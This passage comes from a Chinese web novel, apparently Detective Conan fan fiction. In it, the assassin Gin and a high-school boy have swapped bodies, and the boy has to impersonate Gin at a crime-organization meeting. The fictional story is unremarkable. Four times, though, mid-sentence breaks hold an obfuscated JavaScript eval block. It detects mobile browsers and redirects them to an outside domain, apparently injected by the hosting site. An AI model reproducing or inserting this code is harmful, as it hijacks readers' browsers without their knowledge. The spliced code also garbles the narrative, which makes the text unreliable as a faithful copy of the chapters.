看了眼面无表情的琴酒,相叶佑禾觉得正常生活离他越来越远了。 他像霜打的茄子一样,恹恹道:“好了,现在最主要的是来交换信息……” 话音未落,琴酒的手机响起。 他下意识看了眼相叶佑禾。后者成功曲解了他的意思,立马摊开空空的双手证明:“这次不是我!” 琴酒无语地收回目光,接通电话:“什么事?” “咦?”不属于琴酒的声音让伏特加愣了一瞬。 这是……大哥那个小情人? “那个……”他该怎么称呼小情人?大嫂?大哥夫?万一只是大哥一时兴起随便找来,用完就丢的怎么办? 伏特加一通纠结,最终什么都没喊:“请问大哥在吗?” 身体互换最麻烦的就是这点,还不习惯交换的身份。 琴酒按开免提,把手机扔给相叶佑禾。 相叶佑禾手忙脚乱的接过:“嗯嗯,在的。” 琴酒眼光如刀射来。 咳……抱一丝,习惯了。 相叶佑禾移开目光,沉声:“我在。” 低沉磁性的嗓音透过听筒传来,沉稳有力。 伏特加虎躯一震。 这这这!这散发着荷尔蒙的声音,这充满了安全感的台词…… 伏特加目光惊恐,这是他能听的吗?! 电话另一头,琴酒捂住听筒,咬牙:“好、好、说、话。” 相叶佑禾一脸无辜。他在好好说话啊。 好吧……仔细一想确实有点不妥,还是太礼貌了。 相叶佑禾重新组织语言:“有事?” 对味了。 伏特加神色一松。 呼——刚才那话果然是对小情人说的啊。 吓死他了,差点以为活不过今晚了。 伏特加拍了拍胸脯,勇敢伏伏,不怕困难! 于是小心翼翼地问:“那个……大哥,你还记得今晚定好的组织聚会吗?” 组织聚会? 他们组织成员关系这么好的吗?还团建。 等等,该不会要他去吧? “嗯。”相叶佑禾随便敷衍了一声,捂住听筒看向琴酒,小声询问:“我能拒绝吗?” 琴酒无情地说:“不能。” 相叶佑禾:“可是聚会肯定很多人吧?又很难避免交流,被发现了怎么办?” 琴酒:“怎么扮演好我,就是你接下来该学习的事。” 迟迟得不到琴酒回答,又因为早上的事给伏特加带来了不小的心理阴影,他立刻道:“我不是在催大哥!只是想说你事情还没做完的话,我一个人过去交接任务就行!大哥你觉得怎么样?” 相叶佑禾指了指手机,继续捂听筒小声说:“你看!你小弟都说他自己就可以!” 关于他的事,琴酒一向亲力亲为,不放心交给任何人,哪怕是伏特加也一样。 相叶佑禾仿佛看穿了他的心思,但方向却不对,他继续为自己争取:“我知道当大哥的肩上担子都很重,事事都要慎重,但手下也是需要成长的,你小弟既然有心要帮忙分担、证明自己的能力,那你就放手让他去做嘛。” “白痴。” 懒得跟他多说废话,琴酒抢过手机对伏特加简单直白地说:“他会去的。” 随后挂断电话。 相叶佑禾瞪大眼睛:“喂!” 琴酒看了眼时间:“从你这里出发到目的地,半个小时正好。” 他走到客厅,把花瓶里插着的干花拿出来,捞出里面藏着的手枪。 相叶佑禾见状,竟然也不觉得意外。 反正他藏东西的水平也就这样了。 去见杀手的同伴,确实需要枪这种危险武器保命。 相叶佑禾接受良好的伸出手:“给我吧。” 琴酒却没如他想的一般把枪递过来,反而别到了自己腰间,又拉下衣服,拿了件外套穿上,将其遮得严严实实。 随后拉开衣柜,从角落里拿出被搁置的、属于他那件黑色风衣,从口袋里捞出车钥匙,扔到相叶佑禾手上。 “你来开车。” 说完,雷厉风行的转身出门。 他们现在的情况,越少人参与越好。 所以琴酒不打算让伏特加来,他和相叶佑禾去就行。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936096|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 相叶佑禾:? 看了眼保暖措施不及格的琴酒,他连忙从衣柜里拿了帽子围巾手套,将门锁好后跟过去。 “快戴上,你的感冒还没好!” 从踏出门的那一刻,琴酒确实感觉到冰冷的寒意,瞥了眼自己这细胳膊细腿,他神色阴郁地接过装备,一一穿上。 两人往车库走去,相叶佑禾指了指自己:“我17,还不到能学驾照的年龄,并且,我是个遵纪守法的好公民,违法犯罪的事做不来。” 相叶佑禾说得理直气壮,完全忘了自己在网络上至今都被黑白两道通缉着的事。 琴酒看了眼他的手,眉头微挑。 “你刚才要枪的动作那么轻易,可不像好学生会做的。” 倒像是一点诱惑就会堕落得很快的类型,不过相叶佑禾这种身体病弱还没有什么特长的废物,他也懒得动什么拉拢的心思。 想到铃木园子的话,琴酒眸光闪烁了一下。 ——如果相叶佑禾真的如表面那么‘干净’的话。 相叶佑禾:“……” 他不知道琴酒又在心里蛐蛐他,有些心虚又理所当然的想,小时候见多了不行吗? “我这是怕死。”他摆烂道:“行,就算我豁出去违法好了,可你也不想死于车祸吧?车库都没能出去就撞到墙上那种。” 琴酒冷哼一声:“我来开。” 相叶佑禾戳了戳他的帽子:“你的身体17,我们会被交警抓的。” 琴酒:“……” 谈话间,两人也来到了车库,空旷的停车场里,没有那辆属于琴酒的保时捷。 “……” 沉默,是今晚的停车场。 按理说,琴酒第一反应应该是质问伏特加,但他此刻,如同经历过千锤百炼后拥有的肌肉记忆一般,凛冽的眸光飞向相叶佑禾。 同一时间,相叶佑禾扭头,只留了个后脑勺给琴酒。 “这停车场可真黑啊,说起来,琴酒先生,请问你们聚会地点在哪里?有多少人?都要讨论些什么内容?同事会不会很难搞,应该不要我喝酒吧?我还未成年,不可以喝酒的……” 很好。 琴酒冷笑了一声。 现在可以确定伏特加不在原地待命,就是这个小鬼做的。 他打断相叶佑禾的长篇大论:“解释。” 相叶佑禾咳嗽一声:“没什么,我不想自己的身份跟你们有太多牵扯,所以早上让伏特加连人带车离我们越远越好。” 所以,这半天他们一直在说废话,还又浪费了五分钟。 琴酒额头青筋凸起,但藏在了毛绒绒的帽子下,连冰冷的表情都不那么可怕了。 “没关系。”相叶佑禾拍了拍他的肩,安抚道:“我有办法!” 他从口袋里掏出另一把遥控钥匙按了按,清脆的‘滴滴’声响起,琴酒侧目,一辆小电驴出现在眼中。 相叶佑禾长腿一迈,坐到小电驴上,属于杀手高大的身躯显得有些可笑。 他将垂到肩侧的银发往后一甩,自信满满地抬头:“这个我能开!而且不需要驾照。” 琴酒眼前一黑。 他感觉这具没用的身体又在作怪了,不然他为什么会头晕目眩起来。 12.第 12 章 “怎么了?” 见琴酒站在原地不动,相叶佑禾大概知道他在想什么了。 琴!酒!在!嫌!弃!小!电!驴! 相叶佑禾不满:“它可是陪伴了我整个高中,不管是去兼职还是超市抢打折商品,它都风雨无阻的带着我前行,完成自己的使命。” 多亏了它,相叶佑禾才能节省很多体力,不至于走到兼职地点就累得跟狗一样,气喘吁吁。 他爱惜地摸着自己的小电驴:“尤其是堵车的时候,只有它能继续前进,懂不懂小电驴的含金量啊你这个金贵的杀手!” 琴酒气笑了:“不懂,也不想懂。” 让他坐那种东西去参加组织聚会,当场就会被那两个金色头发、神秘主义整天拿着组织给的经费吃好喝好的代号成员,笑掉大牙。 不用半小时,琴酒脑子有病、琴酒终于疯了、组织破产等消息就会席卷整个组织。 他,琴酒,连带着黑衣组织颜面扫地,极大可能会收到boss的疑问,朗姆趁机施压让他下位,并把他送去最好的医院看病。 琴酒绝不允许这种事情发生! 见他这么嫌弃,相叶佑禾脾气也上来了。 他今天非要让琴酒知道小电驴的好! 相叶佑禾走过来推着琴酒的背,强行带着他往小电驴方向靠。 “你就别嫌弃了,有人肯载你就偷着乐吧。” 说实话,相叶佑禾还舍不得让琴酒坐后座呢! 他的后座可从来没让人坐过!能成为第一个,琴酒应该感到荣幸才对! 高中生叠满了病弱buff的弱鸡身体,对上topkiller矫健强壮的身体,毫无反抗能力。 琴酒怒火中烧:“松、开。” 相叶佑禾一把将人按在后座上,因为琴酒的不配合,只能背朝车头反坐下去,没有办法用面朝前方,双腿叉开的正确坐姿。 不过没关系,总之让琴酒坐下了。 与此同时,伯/莱/塔明目张胆地抵在了相叶佑禾的胸前。 琴酒眉眼中的光,比山顶的雪还要冷:“我再说一遍,放、手。” 如果是平时,相叶佑禾也就松手了,但现在他的脑子里只剩下‘心爱的小电驴被人嫌弃了’、‘这怎么行,我要让他知道小电驴没有那么不堪!’占满。 忘记了伪装人设、也忘记了害怕。 ——更何况琴酒顶着相叶佑禾的脸,他那张稍显稚嫩的脸戴着毛茸茸的帽子,眉眼被遮去大半,苍白的脸、干燥的嘴唇、被冷风吹得红红的鼻尖……不说楚楚可怜,跟凶神恶煞也沾不了边。 如果铃木园子在这里,估计还会兴奋地夸他帅。 相叶佑禾一把抓住枪管,真诚提醒:“喂,这可是你的身体,你舍得开枪吗!” 琴酒冷冷看着他:“你大可以试一试。” 他不是相叶佑禾,不会担心身体被过度损坏。 只要不死、不留下后遗症,他会毫不犹豫地让相叶佑禾吃些苦头。 他将枪移到了相叶佑禾的肩头,唇角勾出一抹淡漠又残忍的笑。 相叶佑禾神色大变。瞬间猜到了他的想法。 什么,这么狠的吗?! 他忙不迭抓着枪管,用力把枪挪到了心脏处,死死扣着,任对方怎么用力都没办法挪开。 “其他地方多没意思。”相叶佑禾得意的挑了挑眉:“来,朝这里打。” 就差把‘你敢吗’几个字写在脸上了。 琴酒:“很少有人敢这么威胁我。” 那双藏在阴影中的眼睛,仿佛黑暗中盯着猎物的野狼,下一秒,就会狠狠咬上食物的脖颈。 在两人的气氛变得更加严峻时,一辆车驶入停车场,冷色调的车灯打在两人身上,仿佛舞台上的聚光灯一般,将主角凸显出来。 车内的伏特加将此刻的场景看得清清楚楚。 那是一个以小电驴为主体的爱恨纠缠—— 少年反坐在小电驴后座处,仰头看着面前高大的男人,毛茸茸的帽子遮住大半张脸,看不清神情,但他苍白的手紧紧握着枪,抵在男人的胸前,可以想象那张脸上的表情有多‘倔强’。 被枪指着的男人不慌不忙,他一只手游刃有余的握住枪管,另一只手按在少年的肩上,将人牢牢固定在车子后座。 男人半弯着腰,修长的身形将少年困在怀中,令他无所遁形。扎起来的银色长发顺着姿势滑落至肩侧,一晃一晃的,似乎在代替不肯用表情透露心意的主人,撩拨着少年。 如果是其他人,伏特加还想继续吃瓜,看看后续发展如何。 但那个银发男人是他大哥。 那个裹得严严实实的少年是——啊,他还不知道对方的名字。 暂且称呼他为小情人吧。 小情人手里握着的枪是大哥的最爱伯/莱/塔,如果大哥不愿意,怎么可能落到小情人手里。 更何况还能让大哥心甘情愿的被枪指着。 虽然大哥脸上没有笑容,但他——伏特加,不论是去抓卧底还是出任务,他都开着保时捷载着大哥冲在前线,从不迟到。 这么多年以来大哥身边有且只有他一个搭档,他是最了解大哥的人! 综上所述,他能从大哥那微冷的表情下,看出他此刻一定很愉悦! 所以——是那个吧,绝对是吧! 要死了要死了。 他怎么又再现场!! 早上因为撞破这种事,大哥都生气到让他滚得远远的,这才晚上,他又误入两人的情趣play了!! 伏特加两眼一闭,恨不得当场去世。 *** 车灯让两人同时眯了眯眼,琴酒警惕地瞥向车子,相叶佑禾连忙将手/枪抢过来藏进风衣袖子里。 琴酒不悦。 相叶佑禾小声道:“这种东西让人看到咱俩就完啦!你用着我清白的身份倒是能很快出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943686|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那我呢!” 杀手的案底不得牢底坐穿。 况且,这么危险的东西还是由他保管吧。 相叶佑禾又把手/枪往袖子里推了推。 “怂货。”琴酒冷哼:“那是我的车。” “嗯?”相叶佑禾有些惊奇:“你什么时候让他回来的?” “这种事需要说吗?”琴酒推开相叶佑禾,散漫地用手背扫了两下肩头,将被压出来的褶皱清除。 “我既然说了要去,不管在哪,他都应该来接我。” 理所当然的话,道出了牛马的心酸。 相叶佑禾感叹,够混账的。 伏特加见两人恢复正常站姿和距离,深吸了几口气后,打开车门下来。 老实地喊了一声大哥。 四下寂静,没人回答。 琴酒瞥了眼身旁的人,提醒:“叫你。” 短短两个字,里面包含了无数只有相叶佑禾才听得懂的威胁。 相叶佑禾这才反应过来,在对方危险的目光中,冷淡地‘嗯’了一声。 随后看向琴酒,挑了挑眉。 ‘怎么样?’ 琴酒:冷漠.jpg 什么! 伏特加不语,只一味的吃惊。 他的心态从大哥果然还在生气!到小情人帮他说话了!再到大哥居然听小情人的话回应他了! 伏特加推了推镜框,在心里下了一个重大的决定。 要对大哥的小情人好一点! “大哥,时间不早了,我们要出发了吗?”他早上听大哥的话立刻离开了,但想到晚上的任务交接,又不敢离得太远。 找了个既不会影响到相叶佑禾,又能快速抵达这边的位置蹲了半天,等大哥决定要去后,立马赶了过来。 知道躲不过,相叶佑禾不情不愿地‘嗯’了一声,但没上车,而是看向身侧的人。 小声道:“喂,你快告诉我大致……” 刚开口,琴酒已经往车方向大步走了出去。 相叶佑禾愣了两秒,反应过来后当即追上去,在对方要踏上车时,一把按住车门。 “砰!” 车门重重砸上,风吹起了琴酒帽子上的细软绒毛。 不等他转身,相叶佑禾便按着他的肩膀:“你要去?” 琴酒扫了他一眼,语气冰冷“不然?” 组织的任务交接,让这个什么都不知道、单纯的白痴只身一人去,除非他脑子有病。 相叶佑禾面容冷峻,低沉的嗓音中是难掩的焦急:“不准!你给我回家老老实实待着,在我回来前哪也不能去!” 他绝对不准自己的身体出现在危险的场所。 哪怕有琴酒这个短暂的保障存在,也绝对不行! 气氛瞬间凝固。 伏特加准备回驾驶位上的动作顿住,呆滞地看着眼前的场景。 眼红掐腰。 大哥药丸。 13.第 13 章 身体互换会带来很多不可避免的麻烦,尤其是琴酒杀手的身份,对于他这个‘普通高中生’来说,麻烦程度说是地狱都不为过。 不过这些相叶佑禾都已经接受了,这是为了换回来后,能让生活回归平静、互不相干的必要条件。 但这并不包括,他要为了琴酒而让自己的身体暴露在组织的视线中。 “那种地方很危险,不是你这个高、中、生应该去的。” 高中生三个字,相叶佑禾说得又重又慢,他在提醒琴酒用的是谁的身体。 身体互换让两人不得不互帮互助,也就默契的达成了尽量去还原、维持对方的生活。 相叶佑禾会用他的身体去参与组织活动。 而琴酒,要做乖乖待在家里、远离危险的普通学生。 他知道相叶佑禾的意思,也能理解对方的担忧害怕,但并不代表就会妥协。 更何况—— “你确定没有我,你可以?”伪装对方的前提,是要能伪装得下去。 在那几个心思敏锐、城府深沉的代号成员眼下,没有他的帮助相叶佑禾真的不会引起怀疑吗? 不说相叶佑禾只是个单纯的学生,浑身都是破绽。 就算他老练、成熟、有演技有胆量,琴酒也不放心他只身一人去。 除了自己,他不信任任何人。 相叶佑禾拔高音量,证明自己:“我可以的!” 话落,瞬间接收到琴酒的眼刀。相叶佑禾立马反应过来语气和台词都不太对。于是捏住他的下颚,双眼微眯:“当然。” 说完,偷偷摸摸地瞥了眼伏特加。 相叶佑禾的幅度并不大,只是伏特加不知是被这个场景吓到还是惊到,呆愣愣地看着这边。 也因此,在第一时间捕捉到了相叶佑禾的视线。 他一个激灵回神:“大哥,我什么都没看见!” “我去那边等你!”伏特加头也不回地跑开,又担心离得太远,一会无法第一时间赶过来开车,于是停在了不远、却也没办法听清两人声音的地方站定。 他背对着两人,低头掏出手机假装玩着小游戏等大哥的样子,实际上耳朵悄悄竖起。 八卦大哥确实不好,但那是大哥耶! 冷酷无情的大哥居然会这么担心别人的安全,担心到即使有自己在、哪怕只是在组织成员面前露一下脸都气得双眼通红。 伏特加心中波涛汹涌,大哥的现场感情瓜,能吃一点是一点。 *** 伏特加的远离让相叶佑禾松了口气,但也没因此就彻底放松。 他依旧装出一副被质疑后放狠话,证明自己能力的样子,凑近琴酒小声道:“你把大致信息告诉我,我保证绝对不会让人发现你有问题!所以你就不要去组织了。” 琴酒嘲讽的目光落到他身上:“你刚才已经失败一次了。” 相叶佑禾心虚:“那是因为你在身边,才让我没有紧张感。” “我等会绝对会打起十二分精神,把你的冷酷、暴躁、没耐心、没礼貌、凶神恶煞、眼里永远一副‘在座各位都是垃圾’的神情,表现得淋漓尽致。”相叶佑禾捏住他下颚的手指轻轻抬了一下:“你看我现在这样做的不就很好吗?” “呵,画虎类犬,不伦不类。”琴酒捏住他的手一把扔开,无情嘲讽。 相叶佑禾合理怀疑,这是琴酒对他刚才说出他糟糕性格的报复。 唉,没办法,实话总是令人不喜的。 “琴酒先生,我们现在是一条绳上的蚂蚱,在没有真正换回来之前,我们谁也不确定这样的情况会出现多少次,你总不能时时刻刻跟在我身边吧?” 就算可以,那相叶佑禾原本的生活一定会变得一团糟,真到了这个地步,他绝不会乖乖配合。 狗急了还跳墙,哪怕琴酒认为相叶佑禾再废物、再成不了气候,顶着他的身份也能做成许多事。 威胁对琴酒没有用,其实软话也差不了多少,但总能让人心情舒服一点。 相叶佑禾继续花言巧语:“你可以拿这次当考验我的机会,看我伪装得怎么样!如果不行下次我绝对不会阻止你去!” 不阻止是不可能的! 他才不会让自己的身体暴露在危险中。 相叶佑禾眨巴着眼睛:“你看我今天不也直接让你和我同学们交流了吗?我那么相信你,你也相信我一次吧!” 琴酒冷冷瞥了他一眼:“你是指无计可施、只能硬着头皮让我上,且在这期间不断用短信轰炸我,叫信任?” 相叶佑禾:“……” 杀手大哥你话太多了噢! 这混蛋一定还再对刚才的事耿耿于怀。 很好,再添一笔小心眼。 相叶佑禾一边蛐蛐琴酒,一边说好话:“那是因为我胆小嘛,当时那种情况我也只能相信你。” 相叶佑禾那点小心思,琴酒一眼就能看出来。讨好的话对他没用,他也不信这小废物的说辞。 只不过,现阶段让相叶佑禾的脸暴露在组织确实不太好,这小废物没有一点特长,没有正当理由加入组织,只能和topkiller绑定在一起。 光这点就能引来无数人的探究,更别提相叶佑禾对自己的身体,宝贝到让人无语。 一旦被人盯上,用着这具垃圾身体的琴酒直接完蛋。 没想到他也会有软肋的一天,而这个软肋还是被迫拥有的。 琴酒眉眼阴鸷,看起来有些吓人。 他转身拉开副驾驶的车门,半个身子趴进去。 就在相叶佑禾以为他不同意,打算用强硬的手段——比如五花大绑扔回床上,或者打晕等撕破脸皮的行为制止对方时,琴酒从车里退了出来。 他手一挥,一道黑色的影子飞来,相叶佑禾抬手接住。 摊开手心,一个黑色的蓝牙耳机盒出现在眼前。 相叶佑禾疑惑抬头。 “戴上它,全程和我通电话,接收我的指挥。”琴酒双手插兜,不容置喙道:“我说一句,你说一句,不要多说废话。” 相叶佑禾眉眼一喜:“收到,等待长官命令。” 危机解除! 嬉皮笑脸的样子让琴酒冒出一股无名火。 “我从来不迟到,你还有半个小时。” “知道了知道了。”相叶佑禾喊了一声伏特加:“走了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949485|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “好嘞大哥。”伏特加连忙跑过来,在看到粉毛琴酒时欲言又止。 不等他出声询问,相叶佑禾走到琴酒面前:“那你回去吧,记得别乱走。” 有点不放心啊,琴酒会不会闲不住乱跑,不过半小时后还需要一个安静的环境指挥他,应该不会。 目光落到琴酒头顶凌乱的帽子上。刚才为了阻止他上车,一时心急力气大了一点,帽子都歪了。 可别冻坏了他的宝贝身体。 相叶佑禾抬手帮他整理得严严实实,又提醒道:“外面冷,早点回去,记得吃药。” 伏特加差点惊掉下巴。 这温柔的动作!这贴心的举动! 虽然大哥的脸依旧如冰块一般冷硬、嗓音如西伯利亚的寒风过境,可是!那藏在表象下的温柔,他伏特加感受到了! 冰山解冻,这珍贵的关怀,小情人一点也很动容吧! 伏特加看向粉毛琴酒。 他眼里没有一丝动容,轻飘飘地拍掉大哥关心的手,对大哥的关心不屑一顾。 琴酒提醒:“你最好记住你说的话。” ——把这次当做一次考验的机会。 读不懂潜在内容的伏特加痛心疾首。 小情人你山猪吃不了细糠!你没品! 银发杀手版相叶佑禾点头,余光注意到杵在一旁的伏特加,只能凑到他耳边小声道:“知道知道,会好好扮演你的。” 琴酒不再废话,转身离开。 路过伏特加时,甚至没有分给小弟一丝眼神。 相叶佑禾死鱼眼。 装得太过了吧?普通人会好奇地看一眼才对。 不过那个人是琴酒的话,应该只是懒得搭理小弟吧。 看来是自己自作多情了。 这都是琴酒的错。 相叶佑禾在心里鄙视他不敬业的态度。 而一旁的伏特加大为震撼。 小情人居然在大哥做亲密举动时,无情地转身离开! 太过分了! 而他的好大哥居然一点都不介意,像一尊望夫石般,站在原地目送小情人离开,直到对方身影完全消失,也无法回神。 这、这么爱的吗? 虽然当事人之一离开,没有瓜继续吃了,但伏特加的心情久久无法平复。 大哥真的坠入爱河了! 见相叶佑禾依旧一直盯着粉毛琴酒离开的地方失神,伏特加一阵心酸,主动出声唤回对方:“大、大哥,时间不早了,我们走吧?” 相叶佑禾在心里骂了一通琴酒后,心里舒坦不少。 ‘嗯’了一声,坐上副驾驶。 不需要他多说,伏特加启动车子,朝目的地驶去。 刚开出地下停车场,相叶佑禾便在心里叹了口气。 才摆脱琴酒两分钟,又要听到他那让人来气的声音了。 他拿出手机,连上蓝牙拨打了琴酒的电话,他们说好了趁抵达前这段时间,交代任务详情和注意事项。 电话很快接通,相叶佑禾习惯性发出礼貌询问:“你到家了吗?” 伏特加指尖一抖。 才三分钟,就这么舍不得吗? 14.第 14 章 “嗯。” 琴酒散漫的声音顺着耳机传来,在耳畔轻轻摩挲,惹得耳朵痒痒的。 相叶佑禾抬起手想要揉一下时,琴酒的声音再次传来。 “不要做一些蠢动作。” 相叶佑禾一惊,手在半空中转了个弯,改为懒散地撑在耳侧。 他看了眼车内后视镜中的自己。 神情冷淡,半张脸藏在阴影中,高深莫测。 嗯,不愧是他,真有大佬风范。 瞥了眼旁边尽职尽责的伏特加,他故作漫不经心地问:“你怎么知道?” 车里总不会有监控吧? 相叶佑禾狐疑地扫了几眼。 “只是在提醒你。”生活在和平世界的普通学生,想要成功伪装成杀手是很难的。 首先,他那些下意识的小动作不是一朝一夕就能改过来的。 “看样子,果然被我猜中了。”琴酒冷笑一声:“不仅用词,你的动作也要干练。那些摸鼻子揉耳朵、手腕的软弱举动,通通给我丢掉。” 软弱…… 好好好,不仅骂他废物,连随便做个动作都成软弱了。 你硬汉,你了不起。 相叶佑禾应声:“放心,我有数。” 随后,相叶佑禾摸了摸鼻子。 揉了揉耳朵。 又捏了下手腕。 就摸,就揉,就捏。 怎么样?打死他? 伏特加:“?” 他投去疑惑的目光:“大……” 昏暗的光线中,银发男人靠着椅背,右手手肘搭在窗边,手指放在耳侧,有一搭没一搭的摩挲着。 在伏特加开口的同时,他抬起左手,修长的食指竖在唇间,无声地‘嘘’了一下。 银色的长发随着动作滑落,那双锐利的眼眸中,透露着几分心不在焉,却又夹杂着明显的威胁,似乎因为被打扰到而不悦。 伏特加不敢说话了。 看到这还不懂他就是蠢货了! 果然又是一些和小情人的情趣啊…… 见伏特加闭上嘴巴,全神贯注的开车后,相叶佑禾心满意足地收回视线,顺带噎一下琴酒:“相反的,你也要学习把这些捡起来。” 琴酒不在意地冷哼了一声,不答应也不拒绝:“闲话到此结束,该谈正事了。” 双标。 相叶佑禾撇嘴。 不过他也当面一套背后一套,扯平了。 说是告诉相叶佑禾这次任务详情,实际上也没多少任务相关的内容。 这才互换的第一天,尽管第一次尝试换回来失败,琴酒也不认为他们会绑定很久。 就算接下来的实验都失败,他也会想尽办法换回来,不会让这段关系持续太久。 所以相叶佑禾不需要知道太多事,有他通过耳机传话,他只要了解一点大概,不会露出茫然的蠢样就行。 *** 车子缓缓驶入目的地,最终在一间废弃仓库外停了下来。 “大哥,我们到了。”停好车后,伏特加率先开门下去。 相叶佑禾原本还吐槽琴酒敷衍的内心,也在此刻正经起来。 黑衣组织,这个存在了半个世纪之久的跨国犯罪组织,因为工藤新一,相叶佑禾对它并不陌生。 不过在他主动避让之下,这还是第一次真正意义上的接触。 果然,有些麻烦一旦知道后,就跟蛇一样缠了上来。 看着那深邃得仿佛望不到尽头的仓库,相叶佑禾的心跳情不自禁加快。 “知道你们这些人见不得光,但这地方也太黑太荒凉了吧?就不能选一处温暖明亮的地方吗?”相叶佑禾忍不住吐槽。 “害怕?”琴酒嗤笑一声,嚣张的嗓音透过耳机直达耳中:“放心,没人敢对我出手。” 说的也是。 他现在用的不是自己脆弱的身体,琴酒能打能跑,真有危险受点伤也无所谓。用不着这么紧张。 更何况只是交接任务而已,不会莫名其妙打起来。 相叶佑禾深吸了一口气,避免越陷越深,接下来,他要认真起来了! 他推开车门,长腿一迈,朝仓库走去。 下一秒,轰鸣声由远及近。 相叶佑禾侧头,一辆机车如闪电般驶来,前进的方向,正是他所站的位置。 他瞳孔一缩。 不是吧?这么刺激的吗?刚下车就有人暗杀! 相叶佑禾插在兜里的手飞速在手机上盲打了条简讯:【让你立flag!】 短信发出的同时,他迅速往后撤去,躲开急驶而来的机车。 而机车也在抵达他面前时,一个甩尾停了下来。带起的劲风吹得相叶佑禾的衣服飒飒作响,帽子险些掀飞。 啊啊啊帽子帽子,琴酒的逼格不能掉! 相叶佑禾连忙按住帽子,风衣袖子不小心碰到耳侧,耳机掉了下来。 他下意识地要去捞,但比起耳机,现在更重要的是眼前这个来意不明的人。 相叶佑禾不敢松懈,干脆利落地掏出手枪,对准机车上的女人。 嗓音淡漠而冰冷:“别动。” 空气安静下来。 机车的灯光打在银发男人身上,正好清晰地捕捉到风衣和头发回归平静的一瞬。 就如同它们的主人一般,面对距离自己不过几厘米的机车也依旧面不改色,只是淡定地扶住帽子。 仿佛再紧迫的危险,也不如帽子重要。不过,却惹得他不悦。 “哈哈,别这么严肃嘛,Gin。”性感的嗓音响起,坐在机车上的女人取下头盔,一头金色的头发如瀑布倾泻,卷曲的发丝灵动的在肩头跳跃,散发着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14953102|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷人的魅力。 她抬头,对上银发男人冷若冰霜的脸,那双狭长的绿眸一眨不眨地盯着她,却不含一丝温度,仿佛他们从来不认识一般。 就这么生气吗? 真是个冷酷无情的男人。 她红唇轻启,嗓音含笑:“只是跟你开个玩笑而已。” 贝尔摩德,黑衣组织的代号成员,目前对外的身份是女明星沙朗的女儿,克丽斯·温亚德。 一手易容术和变声术使用得出神入化,是个神秘又危险的女人。 以上这些信息,只有贝尔摩德这四个字是琴酒告诉他的。 剩下的全是相叶佑禾当初因为琴酒,调查黑衣组织时顺便查出来的。 开个玩笑……你们黑衣组织真会玩。 他差点被吓死了好吧! 琴酒确实很强,但使用身体的是他相叶佑禾!光靠肌肉记忆是能打,但始终没有本尊用起来强。 他刚才还为后续发展担心了好一阵。以为自己这么倒霉刚出场就要挂彩了。 提起的心微微放下,但也因此让相叶佑禾对组织成员的危险有了更深刻的认识。 一个个的都是笑面虎。 隐藏在笑容下的心思,谁也猜不透。 上一次体验这种感觉还是在横滨,那时的他七岁。 在米花町生活了十年,相叶佑禾早忘记了这种勾心斗角的感觉。 他,一点都不怀念。 耳机掉了,听不到琴酒的指令,相叶佑禾只好自己发挥。 他淡漠地看了眼贝尔摩德,手腕一转便将枪别在了腰间,随后捡起地上的耳机,头也不回的离开。 不管两人之间什么关系,总之无视准没错。 如果追上来那就给个眼刀,眼刀没用就再添个滚。 公式他已经琢磨透了。 看着男人冷酷的背影,贝尔摩德挑眉。 “他怎么了?”金发女郎从机车上下来,问站在不远处的伏特加:“谁惹他不高兴了,心情这么差。” 伏特加看了她一眼,不言而喻。 贝尔摩德:“不至于吧?” 闯红灯都不怕被陌生车辆撞到的琴酒,总不能真以为她会撞上去吧。 好歹他们也共事了这么久,这点信任都没有? 伏特加咳嗽一声:“我猜,大哥生气是因为你害他耳机掉了。” 贝尔摩德:“?” 怎么可能是这么单纯的理由。 她眸中划过一道探究的光芒,唇角勾起:“他这么缺钱?我可以重新买一副给他。” “这你就不懂了。”这一天的瓜刺激到让伏特加恨不得大声告诉所有人,接受众人崇拜的目光。 但当事人是大哥,他不敢这么做。 于是当起了谜语人:“重要的不是耳机,而是——耳机对面的人。” 15.第 15 章 耳机对面的人? 也就是说,他一直在和谁通电话。 贝尔摩德神色微凝,眼底的笑意淡了不少。 仅仅因为耳机掉了便生气……那人的身份一定不简单。 boss吗? 